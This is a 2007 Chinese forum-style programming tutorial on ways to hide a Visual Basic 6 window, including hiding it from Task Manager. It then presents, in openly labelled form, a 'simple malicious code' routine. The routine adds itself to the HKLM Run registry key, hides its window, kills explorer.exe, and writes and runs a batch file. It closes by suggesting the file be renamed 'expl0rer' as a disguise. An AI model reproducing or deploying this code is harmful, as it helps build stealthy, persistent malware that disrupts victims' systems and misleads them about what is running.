| 网站首页 | 技术文章 | 下载频道 | 博客 | 编程论坛 |
 
| 技术教程首页 | 开发语言 | WEB开发 | .NET技术 | 数据库 | 操作系统 | 网页制作 |
 
 
您现在的位置: 编程中国 >> 技术教程 >> 开发语言 >> VB >> 编程技巧 >> 正文
  ►  VB几种不同的隐藏方法
VB几种不同的隐藏方法
作者:AV终结者    阅读人次:……    文章来源:本站原创    发布时间:2007/11/5    网友评论()条
 

原帖及讨论:http://bbs.bccn.net/thread-183341-1-1.html

*/ --------------------------------------------------------------------------------------
*/ 出自: 编程中国  http://www.bccn.net
*/ 作者: AV终结者        QQ:535843194
*/ 时间: 2007-11-4  编程论坛首发
*/ 声明: 尊重作者劳动,转载请保留本段文字
*/ --------------------------------------------------------------------------------------


第1种-关闭后到像迅雷一样隐藏
Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
Cancel = True
Me.Hide
End Sub
_____________________________
第2种-直接隐藏
Form1.Visible = False
_____________________________

第3种-在任务管理器应用程序中隐藏
App.TaskVisible = False

_____________________________

于是就可以编写一个简单的恶意代码

Private Sub Form_Load

Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"      '导入注册表,实现开机自动运行

Form1.Visible = False

App.Taskvisible = False

Shell "taskkill /f /im explorer.exe ", vbHide   '结束explorer.exe进程

Open "c:\windows\$$$.bat" for Append As #1
Print #1 , "@echo off"
Print #1 , "echo 恭喜你中毒"
Print #1 , "echo. & pause"
close #1
x = shell("c:\windows\$$$.bat")

.......  '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
End Sub

 

 
文章录入:编辑01    责任编辑:编辑01 
  • 上一篇文章:

  • 下一篇文章: 没有了

  •  
    相关文章
    原创地带
    24小时热门帖子